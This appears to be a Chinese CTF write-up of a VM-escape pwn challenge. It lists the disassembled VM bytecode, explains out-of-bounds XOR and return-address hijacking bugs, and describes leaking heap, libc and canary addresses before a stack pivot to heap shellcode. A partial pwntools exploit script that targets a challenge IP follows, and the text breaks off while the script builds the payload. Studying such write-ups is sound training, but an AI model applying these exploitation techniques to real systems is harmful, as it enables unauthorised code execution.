'67'{ "%S", 0 } cmp vmcodes->stack[rsp-- + 1] , 0; jnz 0
'68'{ "%k", 5 } push register 5
'69'{ "%#V", 0 } *sp = mem[*sp]
'70'{ "%n", 0 } return
'51'{ "%k", 3 } push register 3
'52'{ "%C", 0 } and [rsp-8],[rsp]; pop rsp;
'53'{ "%y", 0 } __printf_chk(1LL, "%d", vmcodes->stack[v3 + 1])]; pop rsp;
'54'{ "%k", 5 } push register 5
'55'{ "%U", 1 } push 1
'56'{ "%A", 0 } add [rsp-8],[rsp]; pop rsp;
'57'{ "%Y", 5 } pop register 5
'58'{ "%N", 46 } jmp 46
'59'{ "%n", 0 } return
function3
'85'{ "%U", 3 } push 3
'86'{ "%k", 0 } push register 0
'87'{ "%M", 0 } eq vmcodes->stack[rsp + 1] , vmcodes->stack[rsp]; pop rsp;
'88'{ "%T", 91 } cmp vmcodes->stack[rsp-- + 1] , 0; jz 91
'89'{ "%g", 110 } call 110
'90'{ "%N", 71 } jmp 71
'110'{ "%a", 0 } scanf("%d",&vmcodes->stack[++stack + 1]);
'111'{ "%Y", 1 } pop register 1
'112'{ "%U", 255 } push 255
'113'{ "%k", 1 } push register 1
'114'{ "%r", 0 } greater
'115'{ "%S", 0 } cmp vmcodes->stack[rsp-- + 1] , 0; jnz 0
'116'{ "%k", 1 } push register 1
'117'{ "%U", 0 } push 0
'118'{ "%r", 0 } greater
'119'{ "%S", 0 } cmp vmcodes->stack[rsp-- + 1] , 0; jnz 0
'120'{ "%a", 0 } scanf("%d",&vmcodes->stack[++stack + 1]);
'121'{ "%Y", 2 } pop register 2
'122'{ "%U", 63 } push 63
'123'{ "%k", 2 } push register 2
'124'{ "%r", 0 } greater
'125'{ "%S", 0 } cmp vmcodes->stack[rsp-- + 1] , 0; jnz 0
'126'{ "%k", 2 } push register 2
'127'{ "%U", 0 } push 0
'128'{ "%r", 0 } greater
'129'{ "%S", 0 } cmp vmcodes->stack[rsp-- + 1] , 0; jnz 0
'130'{ "%k", 2 } push register 2
'131'{ "%U", 4 } push 4
'132'{ "%i", 0 } mult [rsp-8],[rsp]; pop rsp;
'133'{ "%c", 0 } read(0,vmcodes->vmdata[index].data,vmcodes->stack[v3 + 1]); pop rsp;
'134'{ "%k", 1 } push register 1
'135'{ "%H", 0 } HIBYTE(vmcodes->vmdata[offset-1].addr) = vmcodes->stack[stack + 1] ^ vmcodes->vmdata[offset]->data[0]; pop rsp;
'136'{ "%k", 2 } push register 2
'137'{ "%U", 4 } push 4
'138'{ "%i", 0 } mult [rsp-8],[rsp]; pop rsp;
'139'{ "%b", 0 } write(1,vmcodes->vmdata[index].data,vmcodes->stack[v3 + 1]); pop rsp;
'140'{ "%n", 0 } return
function4
'91'{ "%U", 4 } push 4
'92'{ "%k", 0 } push register 0
'93'{ "%M", 0 } eq vmcodes->stack[rsp + 1] , vmcodes->stack[rsp]; pop rsp;
'94'{ "%T", 97 } cmp vmcodes->stack[rsp-- + 1] , 0; jz 97
'95'{ "%g", 141 } call 141
'96'{ "%N", 71 } jmp 71
'141'{ "%a", 0 } scanf("%d",&vmcodes->stack[++stack + 1]);
'142'{ "%Y", 3 } pop register 3
'143'{ "%a", 0 } scanf("%d",&vmcodes->stack[++stack + 1]);
'144'{ "%Y", 4 } pop register 4
'145'{ "%U", 62 } push 62
'146'{ "%k", 4 } push register 4
'147'{ "%r", 0 } greater
'148'{ "%S", 0 } cmp vmcodes->stack[rsp-- + 1] , 0; jnz 0
'149'{ "%k", 4 } push register 4
'150'{ "%U", 0 } push 0
'151'{ "%r", 0 } greater
'152'{ "%S", 0 } cmp vmcodes->stack[rsp-- + 1] , 0; jnz 0
'153'{ "%U", 0 } push 0
'154'{ "%Y", 5 } pop register 5
'155'{ "%k", 4 } push register 4
'156'{ "%k", 5 } push register 5
'157'{ "%r", 0 } greater
'158'{ "%S", 177 } cmp vmcodes->stack[rsp-- + 1] , 0; jnz 177
'159'{ "%g", 60 } call 60
'60'{ "%a", 0 } scanf("%d",&vmcodes->stack[++stack + 1]);
'61'{ "%k", 5 } push register 5
'62'{ "%#X", 0 } mem[pop()]=pop()
'63'{ "%k", 5 } push register 5
'64'{ "%#V", 0 } *sp = mem[*sp]
'65'{ "%U", 255 } push 255
'66'{ "%M", 0 } eq vmcodes->stack[rsp + 1] , vmcodes->stack[rsp]; pop rsp;
'67'{ "%S", 0 } cmp vmcodes->stack[rsp-- + 1] , 0; jnz 0
'68'{ "%k", 5 } push register 5
'69'{ "%#V", 0 } *sp = mem[*sp]
'70'{ "%n", 0 } return
'160'{ "%k", 3 } push register 3
'161'{ "%G", 0 } xor [rsp-8],[rsp]; pop rsp;
'162'{ "%k", 5 } push register 5
'163'{ "%#X", 0 } mem[pop()]=pop()
'164'{ "%k", 5 } push register 5
'165'{ "%#V", 0 } *sp = mem[*sp]
'166'{ "%U", 255 } push 255
'167'{ "%M", 0 } eq vmcodes->stack[rsp + 1] , vmcodes->stack[rsp]; pop rsp;
'168'{ "%S", 0 } cmp vmcodes->stack[rsp-- + 1] , 0; jnz 0
'169'{ "%k", 5 } push register 5
'170'{ "%#V", 0 } *sp = mem[*sp]
'171'{ "%y", 0 } __printf_chk(1LL, "%d", vmcodes->stack[v3 + 1])]; pop rsp;
'172'{ "%k", 5 } push register 5
'173'{ "%U", 1 } push 1
'174'{ "%A", 0 } add [rsp-8],[rsp]; pop rsp;
'175'{ "%Y", 5 } pop register 5
'176'{ "%N", 155 } jmp 155
'177'{ "%n", 0 } return
function5
'97'{ "%U", 5 } push 5
'98'{ "%k", 0 } push register 0
'99'{ "%M", 0 } eq vmcodes->stack[rsp + 1] , vmcodes->stack[rsp]; pop rsp;
'100'{ "%T", 103 } cmp vmcodes->stack[rsp-- + 1] , 0; jz 103
'101'{ "%g", 178 } call 178
'102'{ "%N", 71 } jmp 71
'178'{ "%a", 0 } scanf("%d",&vmcodes->stack[++stack + 1]);
'179'{ "%Y", 1 } pop register 1
'180'{ "%U", 255 } push 255
'181'{ "%k", 1 } push register 1
'182'{ "%r", 0 } greater
'183'{ "%S", 0 } cmp vmcodes->stack[rsp-- + 1] , 0; jnz 0
'184'{ "%k", 1 } push register 1
'185'{ "%U", 0 } push 0
'186'{ "%r", 0 } greater
'187'{ "%S", 0 } cmp vmcodes->stack[rsp-- + 1] , 0; jnz 0
'188'{ "%a", 0 } scanf("%d",&vmcodes->stack[++stack + 1]);
'189'{ "%Y", 2 } pop register 2
'190'{ "%U", 63 } push 63
'191'{ "%k", 2 } push register 2
'192'{ "%r", 0 } greater
'193'{ "%S", 0 } cmp vmcodes->stack[rsp-- + 1] , 0; jnz 0
'194'{ "%k", 2 } push register 2
'195'{ "%U", 0 } push 0
'196'{ "%r", 0 } greater
'197'{ "%S", 0 } cmp vmcodes->stack[rsp-- + 1] , 0; jnz 0
'198'{ "%k", 2 } push register 2
'199'{ "%U", 4 } push 4
'200'{ "%i", 0 } mult [rsp-8],[rsp]; pop rsp;
'201'{ "%c", 0 } read(0,vmcodes->vmdata[index].data,vmcodes->stack[v3 + 1]); pop rsp;
'202'{ "%k", 1 } push register 1
'203'{ "%F", 0 } HIBYTE(vmcodes->vmdata[offset-1].addr) = vmcodes->stack[stack + 1] | vmcodes->vmdata[offset]->data[0]; pop rsp;
'204'{ "%k", 2 } push register 2
'205'{ "%U", 4 } push 4
'206'{ "%i", 0 } mult [rsp-8],[rsp]; pop rsp;
'207'{ "%b", 0 } write(1,vmcodes->vmdata[index].data,vmcodes->stack[v3 + 1]); pop rsp;
'208'{ "%n", 0 } return
function6
'103'{ "%U", 6 } push 6
'104'{ "%k", 0 } push register 0
'105'{ "%M", 0 } eq vmcodes->stack[rsp + 1] , vmcodes->stack[rsp]; pop rsp;
'106'{ "%T", 109 } cmp vmcodes->stack[rsp-- + 1] , 0; jz 109
'107'{ "%g", 209 } call 209
'108'{ "%N", 71 } jmp 71
'209'{ "%a", 0 } scanf("%d",&vmcodes->stack[++stack + 1]);
'210'{ "%Y", 3 } pop register 3
'211'{ "%a", 0 } scanf("%d",&vmcodes->stack[++stack + 1]);
'212'{ "%Y", 4 } pop register 4
'213'{ "%U", 63 } push 63
'214'{ "%k", 4 } push register 4
'215'{ "%r", 0 } greater
'216'{ "%S", 0 } cmp vmcodes->stack[rsp-- + 1] , 0; jnz 0
'217'{ "%k", 4 } push register 4
'218'{ "%U", 0 } push 0
'219'{ "%r", 0 } greater
'220'{ "%S", 0 } cmp vmcodes->stack[rsp-- + 1] , 0; jnz 0
'221'{ "%U", 0 } push 0
'222'{ "%Y", 5 } pop register 5
'223'{ "%k", 4 } push register 4
'224'{ "%k", 5 } push register 5
'225'{ "%r", 0 } greater
'226'{ "%S", 245 } cmp vmcodes->stack[rsp-- + 1] , 0; jnz 245
'227'{ "%g", 60 } call 60
'60'{ "%a", 0 } scanf("%d",&vmcodes->stack[++stack + 1]);
'61'{ "%k", 5 } push register 5
'62'{ "%#X", 0 } mem[pop()]=pop()
'63'{ "%k", 5 } push register 5
'64'{ "%#V", 0 } *sp = mem[*sp]
'65'{ "%U", 255 } push 255
'66'{ "%M", 0 } eq vmcodes->stack[rsp + 1] , vmcodes->stack[rsp]; pop rsp;
'67'{ "%S", 0 } cmp vmcodes->stack[rsp-- + 1] , 0; jnz 0
'68'{ "%k", 5 } push register 5
'69'{ "%#V", 0 } *sp = mem[*sp]
'70'{ "%n", 0 } return
'228'{ "%k", 3 } push register 3
'229'{ "%E", 0 } or[rsp-8],[rsp]; pop rsp;
'230'{ "%k", 5 } push register 5
'231'{ "%#X", 0 } mem[pop()]=pop()
'232'{ "%k", 5 } push register 5
'233'{ "%#V", 0 } *sp = mem[*sp]
'234'{ "%U", 255 } push 255
'235'{ "%M", 0 } eq vmcodes->stack[rsp + 1] , vmcodes->stack[rsp]; pop rsp;
'236'{ "%S", 0 } cmp vmcodes->stack[rsp-- + 1] , 0; jnz 0
'237'{ "%k", 5 } push register 5
'238'{ "%#V", 0 } *sp = mem[*sp]
'239'{ "%y", 0 } __printf_chk(1LL, "%d", vmcodes->stack[v3 + 1])]; pop rsp;
'240'{ "%k", 5 } push register 5
'241'{ "%U", 1 } push 1
'242'{ "%A", 0 } add [rsp-8],[rsp]; pop rsp;
'243'{ "%Y", 5 } pop register 5
'244'{ "%N", 223 } jmp 223
'245'{ "%n", 0 } return
function60
'60'{ "%a", 0 } scanf("%d",&vmcodes->stack[++stack + 1]);
'61'{ "%k", 5 } push register 5
'62'{ "%#X", 0 } mem[pop()]=pop()
'63'{ "%k", 5 } push register 5
'64'{ "%#V", 0 } *sp = mem[*sp]
'65'{ "%U", 255 } push 255
'66'{ "%M", 0 } eq vmcodes->stack[rsp + 1] , vmcodes->stack[rsp]; pop rsp;
'67'{ "%S", 0 } cmp vmcodes->stack[rsp-- + 1] , 0; jnz 0
'68'{ "%k", 5 } push register 5
'69'{ "%#V", 0 } *sp = mem[*sp]
'70'{ "%n", 0 } return
结合调用function的代码不难看出调用各个函数的条件以及函数的功能:
VM逆向结果总结
function1,function3,function5是同类函数,都实现了加密输出字符串的功能,只有加密方法的不同,输出的时候是char类型
function2,function4,function6是同类函数,都实现了加密输出字符串的功能,只有加密方法的不同,输出的时候是int类型
函数的调用的层次图如下
自定义的结构体
vm主要结构体:
struct vmcode
{
text *text;
int pc;
regsters *reg;
int reg_numb;
int stack[1066];
vmdata vmdata[100];
};
主结构体内自定义的结构体定义:
text:
struct text
{
codes codes[250];
};
codes:
struct codes
{
char code[8];
int arg;
};
registers:
struct regsters
{
int reg[7];
};
vmdata:
struct vmdata
{
char data[256];
int addr;
};
vm的内存管理
vm_data段是一个共用体,里面是char和int混着存的,并且是数据和返回地址混着存的
我们注意到call函数在被调用时会对index进行+1处理:
结合我们上面得到的函数的调用的层次图,不难得到这个vm对mcodes->vmdata[index]的管理结构是分层的,每一层的函数会占用一个vmdata,当这个函数被调用完了就会去将index--,来达到一个类似于栈的效果:
主要漏洞点
and_data、xor_data、or_data这三个函数循环的终止条件不正确。如果字符串没有被\x00截断,则循环将继续进行,进而覆盖后面的数据。
run_vm函数未对rip为负数的情况作检验,如果我们能将eip设置为负数,通过codes = &v4->text->codes[v5];将codes指向vm_data段,引起vm_shellcode执行
如何利用
先使用function6将栈上的字符串赋值给vmcodes->vmdata[index].data(此时index为0),之后将其填满后,由于ret_addr一定会存储着返回地址,那么我们再利用function3中遍历数据时遇到\x00才截止的漏洞就可以在数据段上面实现越界异或ret_addr。
但是一个字节的偏移控制实在太少了,我们需要扩大优势,不然没办法实现vm逃逸,这里考虑到在第一步骤中我们使用function6的时候使用的register[5]在使用完之后由于没有清0,会残留为64,那我们就可以利用function3溢出1字节的能力先将返回地址篡改为 '50'{ "%g", 60 } call 60。于是乎当我们再从function3返回的时候就可以去调用function60(此时index为0),而在function60内可以实现4字节输入到vmcodes->vmdata[index].data[register[5]]上面,这样我们通过利用function60就实现了返回地址4字节的劫持。
当从function60返回的时候,我们可以控制rip(ret :rip_eip = vmcodes->vmdata[index].addr;)这样就可以实现任意vmcode执行。
接下来就是突破vmcode的限制,先考虑得到canary,libc_base,heap_base,所以我们要精心构造在data段上面的rop链子:
泄露heap:利用load函数在有占位符的情况下没有考虑v3可能为负数的漏洞,将堆地址加载到栈上面,之后打印出来即可
泄露libc与canary:使用未注册的%p将栈地址,canary以及libc打印出来
之后在堆上面铺设好我们的shellcode,这里需要注意的是我们构造的rop链太长,需要分两步填入到堆中,于是我们在填入shellcode的同时可以将第二段rop链也顺带填入到堆里面,之后使用jmp函数将两段rop连接执行即可。
在拿到所有的条件后将vmcode->reg修改为栈地址,就可以修改掉栈上的old_rbp以及ret_addr,最后栈迁移到堆上面就可以了。方法就是将run_vm的old_rbp篡改到shellcode链,将ret_addr改到leave_ret但是有一个很有意思的点是返回地址和old_rbp不相邻,而是间隔了2个64位块,7个32位块无法完全覆盖,这里选择低位覆盖返回地址,因为这里本身就是一个libc地址
我这里由于是复现,并没有使用远程的libc版本:libc-2.39.so,使用的是libc-2.35.so。
完整exp:
from pwn import *
from pwncli import *
from pwn_std import *
import ctypes
context(os='linux', arch='amd64', log_level='debug')
p = getProcess("10.81.2.238", "10062", "./prpr")
# elf = ELF("./vuln")
libc = ELF("./libc.so.6")
elf=ctypes.CDLL('./libc.so.6')
'''
__printf_chk
不能使用 %x$n 不连续地打印,也就是说如果要使用 %3$n,则必须同时使用 %1$n 和 %2$n。
在使用 %n 的时候会做一些检查。
'''
'''
stack始终指向比栈顶小1的地方
程序执行的内容:
'0'{ "%x", 0 } exit_
'1'{ "%a", 0 } scanf("%d",&vmcodes->stack[++stack + 1]);
'2'{ "%Y", 1 } pop register 1
'3'{ "%U", 255 } push 255
'4'{ "%k", 1 } push register 1
'5'{ "%r", 0 } greater
'6'{ "%S", 0 } cmp vmcodes->stack[rsp-- + 1] , 0; jnz 0
'7'{ "%k", 1 } push register 1
'8'{ "%U", 0 } push 0
'9'{ "%r", 0 } greater
'10'{ "%S", 0 } cmp vmcodes->stack[rsp-- + 1] , 0; jnz 0
'11'{ "%a", 0 } scanf("%d",&vmcodes->stack[++stack + 1]);
'12'{ "%Y", 2 } pop register 2
'13'{ "%U", 63 } push 63
'14'{ "%k", 2 } push register 2
'15'{ "%r", 0 } greater
'16'{ "%S", 0 } cmp vmcodes->stack[rsp-- + 1] , 0; jnz 0
'17'{ "%k", 2 } push register 2
'18'{ "%U", 0 } push 0
'19'{ "%r", 0 } greater
'20'{ "%S", 0 } cmp vmcodes->stack[rsp-- + 1] , 0; jnz 0
'21'{ "%k", 2 } push register 2
'22'{ "%U", 4 } push 4
'23'{ "%i", 0 } mult [rsp-8],[rsp]; pop rsp;
'24'{ "%c", 0 } read(0,vmcodes->vmdata[index].data,vmcodes->stack[v3 + 1]); pop rsp;
'25'{ "%k", 1 } push register 1
'26'{ "%D", 0 } HIBYTE(vmcodes->vmdata[offset-1].addr) = vmcodes->stack[stack + 1] & vmcodes->vmdata[offset]->data[0]; pop rsp;
'27'{ "%k", 2 } push register 2
'28'{ "%U", 4 } push 4
'29'{ "%i", 0 } mult [rsp-8],[rsp]; pop rsp;
'30'{ "%b", 0 } write(1,vmcodes->vmdata[index].data,vmcodes->stack[v3 + 1]); pop rsp;
'31'{ "%n", 0 } return
'32'{ "%a", 0 } scanf("%d",&vmcodes->stack[++stack + 1]);
'33'{ "%Y", 3 } pop register 3
'34'{ "%a", 0 } scanf("%d",&vmcodes->stack[++stack + 1]);
'35'{ "%Y", 4 } pop register 4
'36'{ "%U", 63 } push 63
'37'{ "%k", 4 } push register 4
'38'{ "%r", 0 } greater
'39'{ "%S", 0 } cmp vmcodes->stack[rsp-- + 1] , 0; jnz 0
'40'{ "%k", 4 } push register 4
'41'{ "%U", 0 } push 0
'42'{ "%r", 0 } greater
'43'{ "%S", 0 } cmp vmcodes->stack[rsp-- + 1] , 0; jnz 0
'44'{ "%U", 0 } push 0
'45'{ "%Y", 5 } pop register 5
'46'{ "%k", 4 } push register 4
'47'{ "%k", 5 } push register 5
'48'{ "%r", 0 } greater
'49'{ "%S", 59 } cmp vmcodes->stack[rsp-- + 1] , 0; jnz 59
'50'{ "%g", 60 } call 60
'51'{ "%k", 3 } push register 3
'52'{ "%C", 0 } and [rsp-8],[rsp]; pop rsp;
'53'{ "%y", 0 } __printf_chk(1LL, "%d", vmcodes->stack[v3 + 1])]; pop rsp;
'54'{ "%k", 5 } push register 5
'55'{ "%U", 1 } push 1
'56'{ "%A", 0 } add [rsp-8],[rsp]; pop rsp;
'57'{ "%Y", 5 } pop register 5
'58'{ "%N", 46 } jmp 46
'59'{ "%n", 0 } return
'60'{ "%a", 0 } scanf("%d",&vmcodes->stack[++stack + 1]);
'61'{ "%k", 5 } push register 5
'62'{ "%#X", 0 } mem[pop()]=pop()
'63'{ "%k", 5 } push register 5
'64'{ "%#V", 0 } *sp = mem[*sp]
'65'{ "%U", 255 } push 255
'66'{ "%M", 0 } eq vmcodes->stack[rsp + 1] , vmcodes->stack[rsp]; pop rsp;
'67'{ "%S", 0 } cmp vmcodes->stack[rsp-- + 1] , 0; jnz 0
'68'{ "%k", 5 } push register 5
'69'{ "%#V", 0 } *sp = mem[*sp]
'70'{ "%n", 0 } return
'71'{ "%a", 0 } scanf("%d",&vmcodes->stack[++stack + 1]);
'72'{ "%Y", 0 } pop register 0
'73'{ "%U", 1 } push 1
'74'{ "%k", 0 } push register 0
'75'{ "%M", 0 } eq vmcodes->stack[rsp + 1] , vmcodes->stack[rsp]; pop rsp;
'76'{ "%T", 79 } cmp vmcodes->stack[rsp-- + 1] , 0; jz 79
'77'{ "%g", 1 } call 1
'78'{ "%N", 71 } jmp 71
'79'{ "%U", 2 } push 2
'80'{ "%k", 0 } push register 0
'81'{ "%M", 0 } eq vmcodes->stack[rsp + 1] , vmcodes->stack[rsp]; pop rsp;
'82'{ "%T", 85 } cmp vmcodes->stack[rsp-- + 1] , 0; jz 85
'83'{ "%g", 32 } call 32
'84'{ "%N", 71 } jmp 71
'85'{ "%U", 3 } push 3
'86'{ "%k", 0 } push register 0
'87'{ "%M", 0 } eq vmcodes->stack[rsp + 1] , vmcodes->stack[rsp]; pop rsp;
'88'{ "%T", 91 } cmp vmcodes->stack[rsp-- + 1] , 0; jz 91
'89'{ "%g", 110 } call 110
'90'{ "%N", 71 } jmp 71
'91'{ "%U", 4 } push 4
'92'{ "%k", 0 } push register 0
'93'{ "%M", 0 } eq vmcodes->stack[rsp + 1] , vmcodes->stack[rsp]; pop rsp;
'94'{ "%T", 97 } cmp vmcodes->stack[rsp-- + 1] , 0; jz 97
'95'{ "%g", 141 } call 141
'96'{ "%N", 71 } jmp 71
'97'{ "%U", 5 } push 5
'98'{ "%k", 0 } push register 0
'99'{ "%M", 0 } eq vmcodes->stack[rsp + 1] , vmcodes->stack[rsp]; pop rsp;
'100'{ "%T", 103 } cmp vmcodes->stack[rsp-- + 1] , 0; jz 103
'101'{ "%g", 178 } call 178
'102'{ "%N", 71 } jmp 71
'103'{ "%U", 6 } push 6
'104'{ "%k", 0 } push register 0
'105'{ "%M", 0 } eq vmcodes->stack[rsp + 1] , vmcodes->stack[rsp]; pop rsp;
'106'{ "%T", 109 } cmp vmcodes->stack[rsp-- + 1] , 0; jz 109
'107'{ "%g", 209 } call 209
'108'{ "%N", 71 } jmp 71
'109'{ "%x", 0 } exit_
'110'{ "%a", 0 } scanf("%d",&vmcodes->stack[++stack + 1]);
'111'{ "%Y", 1 } pop register 1
'112'{ "%U", 255 } push 255
'113'{ "%k", 1 } push register 1
'114'{ "%r", 0 } greater
'115'{ "%S", 0 } cmp vmcodes->stack[rsp-- + 1] , 0; jnz 0
'116'{ "%k", 1 } push register 1
'117'{ "%U", 0 } push 0
'118'{ "%r", 0 } greater
'119'{ "%S", 0 } cmp vmcodes->stack[rsp-- + 1] , 0; jnz 0
'120'{ "%a", 0 } scanf("%d",&vmcodes->stack[++stack + 1]);
'121'{ "%Y", 2 } pop register 2
'122'{ "%U", 63 } push 63
'123'{ "%k", 2 } push register 2
'124'{ "%r", 0 } greater
'125'{ "%S", 0 } cmp vmcodes->stack[rsp-- + 1] , 0; jnz 0
'126'{ "%k", 2 } push register 2
'127'{ "%U", 0 } push 0
'128'{ "%r", 0 } greater
'129'{ "%S", 0 } cmp vmcodes->stack[rsp-- + 1] , 0; jnz 0
'130'{ "%k", 2 } push register 2
'131'{ "%U", 4 } push 4
'132'{ "%i", 0 } mult [rsp-8],[rsp]; pop rsp;
'133'{ "%c", 0 } read(0,vmcodes->vmdata[index].data,vmcodes->stack[v3 + 1]); pop rsp;
'134'{ "%k", 1 } push register 1
'135'{ "%H", 0 } HIBYTE(vmcodes->vmdata[offset-1].addr) = vmcodes->stack[stack + 1] ^ vmcodes->vmdata[offset]->data[0]; pop rsp;
'136'{ "%k", 2 } push register 2
'137'{ "%U", 4 } push 4
'138'{ "%i", 0 } mult [rsp-8],[rsp]; pop rsp;
'139'{ "%b", 0 } write(1,vmcodes->vmdata[index].data,vmcodes->stack[v3 + 1]); pop rsp;
'140'{ "%n", 0 } return
'141'{ "%a", 0 } scanf("%d",&vmcodes->stack[++stack + 1]);
'142'{ "%Y", 3 } pop register 3
'143'{ "%a", 0 } scanf("%d",&vmcodes->stack[++stack + 1]);
'144'{ "%Y", 4 } pop register 4
'145'{ "%U", 62 } push 62
'146'{ "%k", 4 } push register 4
'147'{ "%r", 0 } greater
'148'{ "%S", 0 } cmp vmcodes->stack[rsp-- + 1] , 0; jnz 0
'149'{ "%k", 4 } push register 4
'150'{ "%U", 0 } push 0
'151'{ "%r", 0 } greater
'152'{ "%S", 0 } cmp vmcodes->stack[rsp-- + 1] , 0; jnz 0
'153'{ "%U", 0 } push 0
'154'{ "%Y", 5 } pop register 5
'155'{ "%k", 4 } push register 4
'156'{ "%k", 5 } push register 5
'157'{ "%r", 0 } greater
'158'{ "%S", 177 } cmp vmcodes->stack[rsp-- + 1] , 0; jnz 177
'159'{ "%g", 60 } call 60
'160'{ "%k", 3 } push register 3
'161'{ "%G", 0 } xor [rsp-8],[rsp]; pop rsp;
'162'{ "%k", 5 } push register 5
'163'{ "%#X", 0 } mem[pop()]=pop()
'164'{ "%k", 5 } push register 5
'165'{ "%#V", 0 } *sp = mem[*sp]
'166'{ "%U", 255 } push 255
'167'{ "%M", 0 } eq vmcodes->stack[rsp + 1] , vmcodes->stack[rsp]; pop rsp;
'168'{ "%S", 0 } cmp vmcodes->stack[rsp-- + 1] , 0; jnz 0
'169'{ "%k", 5 } push register 5
'170'{ "%#V", 0 } *sp = mem[*sp]
'171'{ "%y", 0 } __printf_chk(1LL, "%d", vmcodes->stack[v3 + 1])]; pop rsp;
'172'{ "%k", 5 } push register 5
'173'{ "%U", 1 } push 1
'174'{ "%A", 0 } add [rsp-8],[rsp]; pop rsp;
'175'{ "%Y", 5 } pop register 5
'176'{ "%N", 155 } jmp 155
'177'{ "%n", 0 } return
'178'{ "%a", 0 } scanf("%d",&vmcodes->stack[++stack + 1]);
'179'{ "%Y", 1 } pop register 1
'180'{ "%U", 255 } push 255
'181'{ "%k", 1 } push register 1
'182'{ "%r", 0 } greater
'183'{ "%S", 0 } cmp vmcodes->stack[rsp-- + 1] , 0; jnz 0
'184'{ "%k", 1 } push register 1
'185'{ "%U", 0 } push 0
'186'{ "%r", 0 } greater
'187'{ "%S", 0 } cmp vmcodes->stack[rsp-- + 1] , 0; jnz 0
'188'{ "%a", 0 } scanf("%d",&vmcodes->stack[++stack + 1]);
'189'{ "%Y", 2 } pop register 2
'190'{ "%U", 63 } push 63
'191'{ "%k", 2 } push register 2
'192'{ "%r", 0 } greater
'193'{ "%S", 0 } cmp vmcodes->stack[rsp-- + 1] , 0; jnz 0
'194'{ "%k", 2 } push register 2
'195'{ "%U", 0 } push 0
'196'{ "%r", 0 } greater
'197'{ "%S", 0 } cmp vmcodes->stack[rsp-- + 1] , 0; jnz 0
'198'{ "%k", 2 } push register 2
'199'{ "%U", 4 } push 4
'200'{ "%i", 0 } mult [rsp-8],[rsp]; pop rsp;
'201'{ "%c", 0 } read(0,vmcodes->vmdata[index].data,vmcodes->stack[v3 + 1]); pop rsp;
'202'{ "%k", 1 } push register 1
'203'{ "%F", 0 } HIBYTE(vmcodes->vmdata[offset-1].addr) = vmcodes->stack[stack + 1] | vmcodes->vmdata[offset]->data[0]; pop rsp;
'204'{ "%k", 2 } push register 2
'205'{ "%U", 4 } push 4
'206'{ "%i", 0 } mult [rsp-8],[rsp]; pop rsp;
'207'{ "%b", 0 } write(1,vmcodes->vmdata[index].data,vmcodes->stack[v3 + 1]); pop rsp;
'208'{ "%n", 0 } return
'209'{ "%a", 0 } scanf("%d",&vmcodes->stack[++stack + 1]);
'210'{ "%Y", 3 } pop register 3
'211'{ "%a", 0 } scanf("%d",&vmcodes->stack[++stack + 1]);
'212'{ "%Y", 4 } pop register 4
'213'{ "%U", 63 } push 63
'214'{ "%k", 4 } push register 4
'215'{ "%r", 0 } greater
'216'{ "%S", 0 } cmp vmcodes->stack[rsp-- + 1] , 0; jnz 0
'217'{ "%k", 4 } push register 4
'218'{ "%U", 0 } push 0
'219'{ "%r", 0 } greater
'220'{ "%S", 0 } cmp vmcodes->stack[rsp-- + 1] , 0; jnz 0
'221'{ "%U", 0 } push 0
'222'{ "%Y", 5 } pop register 5
'223'{ "%k", 4 } push register 4
'224'{ "%k", 5 } push register 5
'225'{ "%r", 0 } greater
'226'{ "%S", 245 } cmp vmcodes->stack[rsp-- + 1] , 0; jnz 245
'227'{ "%g", 60 } call 60
'228'{ "%k", 3 } push register 3
'229'{ "%E", 0 } or[rsp-8],[rsp]; pop rsp;
'230'{ "%k", 5 } push register 5
'231'{ "%#X", 0 } mem[pop()]=pop()
'232'{ "%k", 5 } push register 5
'233'{ "%#V", 0 } *sp = mem[*sp]
'234'{ "%U", 255 } push 255
'235'{ "%M", 0 } eq vmcodes->stack[rsp + 1] , vmcodes->stack[rsp]; pop rsp;
'236'{ "%S", 0 } cmp vmcodes->stack[rsp-- + 1] , 0; jnz 0
'237'{ "%k", 5 } push register 5
'238'{ "%#V", 0 } *sp = mem[*sp]
'239'{ "%y", 0 } __printf_chk(1LL, "%d", vmcodes->stack[v3 + 1])]; pop rsp;
'240'{ "%k", 5 } push register 5
'241'{ "%U", 1 } push 1
'242'{ "%A", 0 } add [rsp-8],[rsp]; pop rsp;
'243'{ "%Y", 5 } pop register 5
'244'{ "%N", 223 } jmp 223
'245'{ "%n", 0 } return
'246'{ "%x", 0 } exit_
'247'{ "%x", 0 } exit_
'248'{ "%x", 0 } exit_
'249'{ "%x", 0 } exit_
'''
#自定义函数
def fun1_and(and_key,size,content):
sl('1')
sl(str(and_key))
sl('%d' % (size / 4))
sd(content)
def fun2_and(and_key,size,content):
sl('2')
sl(str(and_key))
sl('%d' % (size // 4))
for i in range(size//4+1):
sl(str(ord(content[i])))
def fun3_xor(xor_key,size,content):
sl('3')
sl(str(xor_key))
sl('%d' % (size / 4))
sd(content)
def fun4_xor(xor_key,size,content):
sl('4')
sl(str(xor_key))
sl('%d' % (size // 4))
for i in range(size//4+1):
sl(str(ord(content[i])))
def fun5_or(or_key,size,content):
sl('5')
sl(str(or_key))
sl('%d' % (size / 4))
sd(content)
def fun6_or(or_key,size,data):
sl('6')
sl(str(or_key))
sl('%d' % (size // 4))
for i in range(size//4+1):
sl(data)
def push(x):
if x < 0:
x = x + 0x100000000
return b'%U'.ljust(8,b'\x00') + p32(x)
def load():
return b'%#V'.ljust(8,b'\x00') + p32(0)
def store():
return b'%#X'.ljust(8,b'\x00') + p32(0)
def printf_pop():
return b'%y'.ljust(8,b'\x00') + p32(0)
def call(x):
if x < 0:
x = x + 0x100000000
return b'%g'.ljust(8,b'\x00') + p32(x)
def jmp(x):
if x < 0:
x = x + 0x100000000
return b'%N'.ljust(8,b'\x00') + p32(x)
def input_sp():
return b'%a'.ljust(8,b'\x00') + p32(0)
def read_mem():
return b'%c'.ljust(8,b'\x00') + p32(0)
def print_mem():
return b'%b'.ljust(8,b'\x00') + p32(0)
def ret():
return b'%n'.ljust(8,b'\x00') + p32(0)
def push_r(idx):
return b'%k'.ljust(8,b'\x00') + p32(idx)
def pop_r(idx):
return b'%Y'.ljust(8,b'\x00') + p32(idx)
def pop():
return b'%f'.ljust(8,b'\x00') + p32(0)
fun6_or(0xfe,0xfc,'-1')
#构造codes
codes=b'a'*8
#分两次泄露heap
codes+=input_sp()+load()+printf_pop()+input_sp()+load()+printf_pop()
#泄露libc,stack,canary 直接使用未注册的%p去打印出地址
codes+=b'%p%p%p%p%p%p'+b'%p%p%p%p%p%p'
#将orw代码以及第二段的codes先读入到heap上面
codes+=push(0xfc)+read_mem()
